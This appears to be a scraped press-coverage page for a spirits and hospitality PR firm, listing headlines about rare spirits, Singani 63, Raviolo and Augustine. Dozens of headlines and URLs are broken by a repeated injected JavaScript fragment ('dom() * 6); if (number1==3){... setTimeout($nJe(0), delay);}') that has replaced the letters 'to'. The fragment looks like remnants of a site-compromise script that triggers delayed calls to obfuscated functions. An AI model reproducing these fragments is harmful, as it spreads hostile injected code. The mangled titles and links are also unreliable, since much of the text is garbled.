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Cool Hunting, “The Last Drop Tawny Port Duo

Gotham Magazine, “Rare Spirit

Elite Traveler, “Portugal’s Rare Spirits Hunters

Town and Country Magazine, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}townandcountrymag.com/leisure/drinks/g9077403/best-sipping-rums/”>The 16 Best Rums That Make the Case for Sipping

Men’s Health, “These Bartender Boxers Sling Booze by Day and Throw Punches at Night

Inside Hook, “THIS DISTILLERY HUNTS DOWN RARE SPIRITS INDIANA JONES-STYLE”

Maxim, “Here’s Why Port Wine is Experiencing a Full-Fledged Revival

The Spirits Business, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-promote-equality/”>Bacardi unveils Spirit Forward series dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to promote equality

Saveur, “These are the World’s Oldest and Rarest Spirits

Punch, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour/”>Join Us for the Spirit Forward Women in Leadership Series

Time, “This $50 Cup of Coffee Is Made From Beans That Have Been Launched Indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Space

Town and Country, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}townandcountrymag.com/leisure/drinks/news/g1750/holiday-wine-and-spirits-gift-guide/”>19 Alcohol Gifts For the Booze Hound

Conde Nast Traveler, “The Best Gifts for Drinkers this Holiday Season

Men’s Health, “THE BEST NEW SPIRITS AND LIQUEURS OF 2017

NBC, “Ravioli With a Twist

Forbes, “The Best Non-American Whiskies For The Holidays

Supercall, “These Women Are Rare Spirits Hunters (aka Our Dream Job)

SuperCall, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-dedom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tox-and-get-fit”>How dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Dedom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tox and Get Fit, According dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Bartenders Who Know

Wine Spectadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor.com/magazine/show/id/55555″>The Tequila Trail

Robb Report, “This $4,000 Blended Whisky from 1971 Is Good dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Last Drop

Bloomberg, “The 2017 Pursuits Gift Guide

Grub Street, “At Raviolo, Classic Italian Dishes Are Served Like Dim Sum

Refinery29, “Twitter Can’t Decide What To Think About This Egg Yolk Cappuccino

The Daily Beast, “Mixing Up Bourbon, Music & Gourmet Food

Huffpost, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonpost.com/entry/fall-for-new-spirits_us_59b97602e4b06b71800c3636″>Fall for New Spirits

Blackbook, “What is Italian Dim Sum? Raviolo Opens with Cabonara + Cacio e Pepe Small Bites

USA Today, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today.com/sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory/entertainment/music/2017/09/19/bourbon-beyond-festival-louisville-brings-booze-food-music/661561001/”>Bourbon & Beyond Festival brings dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top-shelf booze, food and music dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Louisville

Tasting Table, “Salute Your Ports

Urbandaddy, “Raviolo, an Italian Dim Sum Bar, Opens in the West Village

Huffpost, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonpost.com/entry/this-matte-black-latte-is-as-dark-as-your-soul_us_599da65ee4b0b87d38cbe69c”>This Matte Black Latte Is as Dark as Your Soul

Housdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Chronicle, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonchronicle.com/life/food/article/Eight-trends-from-2017-Tales-of-the-Cocktail-11721160.php”>Eight trends from 2017 Tales of the Cocktail

Mashable, “Move over, activated charcoal. Try the matte black latte

Esquire, “How Vintage Spirits Became the Holy Grail of Drinking

Round K’s Matte Black Latte Is a Creepy Coffee Trend You’ll Love

New York Post, “Cafe Serves up Lattes Blacker Than Your Soul

Travel and Leisure, “Someone invented a black latte for people who hate unicorn drinks

Food & Wine, “The Women Who Sell the World’s Rarest Scotch

LA Times, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory.html”>7 Sipping Rums That are Perfect for Summer

Travel and Leisure, “Someone Invented a Black Latte for People who Hate Unicorn Drinks

Refinery29, “Your Inner Goth Will Love This Matte Black Latte

Liquor.com, “Finding the Best Kind of Joy in Making Rum

Paste, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-attend.html”>8 Summer Booze Festivals You Need dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Attend

Robb Report, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton-estate-and-mount-gays-new-limited-editions”>Rum, Refined: Appledom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Estate and Mount Gay’s New Limited Editions

Tasting Table, “Spirit Squad

USA Today, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today.com/sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory/entertainment/music/2017/03/20/louder-than-life-additional-bourbon-beyond-fest-announced/99406450/”>Louder Than Life, Additional Bourbon & Beyond Fest Announced

Food Network, “Would You Drink a Cappuccino with a Raw Egg in It?

Food & Wine, “The Most Innovative Women in Food & Drink

Men’s Journal, “This $4,000 Scotch Gem Is As Old As Disney World

Men’s Journal, “A Drunken Evening with Steven Soderbergh

The Infatuation, “REVIEW:Augustine

Travel and Leisure, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top-new-york-hotel-openings-2016″>The Best New Hotels in New York State

Eater, “Augustine Is an Instant Keith McNally Classic

Thrillest, “Augustine

Vogue, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory/13511439/keith-mcnally-augustine-new-york-french-fine-dining-restaurants”>Keith McNally’s Latest Boîte Is Already New York City’s Most Coveted Table

Vanity Fair, “Anne Mcnally Social Diary

Blackbook, “Keith Mcnallys Augustine Restaurant Opens at Nycs Beekman Hotel

The Spirits Business, “Bacardi Bolsters US Trade Advocacy Team

Town & Country, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}townandcountrymag.com/leisure/drinks/g3048/cocktail-trends-2016/?”>The Biggest Cocktail Trends of 2016

Urbandaddy, “As Promised, Here’s Augustine

New York Times, “Opening a Restaurant Is Hell. So Here I Go Again

Wall Street Journal, “12 NYC Restaurants dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Watch This Season

Grubstreet, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-know-about-keith-mcnallys-augustine.html”>Here’s What You Need dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Know About Keith McNally’s New Restaurant, From Keith McNally Himself

The Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Post, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonpost.com/lifestyle/food/dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toast-the-olympics-with-brazils-favorite-spirit-just-please-dont-call-it-rum/2016/08/12/a2601426-5d91-11e6-af8e-54aa2e849447_sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory.html?utm_term=.f49a86519f5e”>Toast the Olympics with cachaça, Brazil’s favorite spirit

The Chicago Tribune, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-know-cachaca-brazil-s-national-spirit-and-where-dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-taste-it-20160810-sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory.html”>Cachaca: The Brazilian spirit that’s hot right now (and not just because of the Olympics)

Forbes, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-know-brazils-national-spirit-and-drink-while-watching-the-olympics/#1097a5621fbf”>Cachaca And Caipirinha: Get To Know Brazil’s National Spirit And Drink While Watching The Olympics

The Daily Beast, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-drink-on-fathers-day”>What Your Dad Actually Wants dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Drink on Father’s Day

Zagat, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-eat-and-drink-this-summer-in-nyc”>15 Best Things dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Eat and Drink This Summer in NYC

Punch, “Drinking with Filmmaker Steven Soderbergh

The Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Post, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonpost.com/lifestyle/food/the-absolutely-delicious-bolivian-spirit-all-drinkers-need-dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-know/2016/01/03/376b5a44-af37-11e5-b820-eea4d64be2a1_sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory.html?utm_term=.98c8ae4ce979″>The Absolutely Delicious Bolivian Spirit all Drinkers Need dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Know

New York Daily News, “Eats Beat: Steven Soderbergh on his new spirit Singani 63

Vogue, “Steven Soderbergh’s New Spirit and 11 More Celebrities You Didn’t Know Made Liquor

Fortune, “From chemist dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cocktails: Meet the rum industry’s first female Master Blender

Esquire, “The Knick Direcdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor Steven Soderbergh Interviews a Star of Cocktail Culture

Complex, “Steven Soderbergh Ethers James Cameron dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Promote His Brandy

Maxim, “Direcdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor Steven Soderbergh on Bolivian Liquor, The Knick and Why He’ll Never Direct a Comic Book Movie

Cool Hunting, “Singani 63 Bolivian Brandy

First We Feast, “Talking Liquor, Life Advice, and Winsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Churchill with Steven Soderbergh

LA Magazine, “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-bring-a-bolivian-spirit-dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-the-u-s/”>Steven Soderbergh’s Seven Year Quest To Bring a Bolivian Spirit dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the U.S.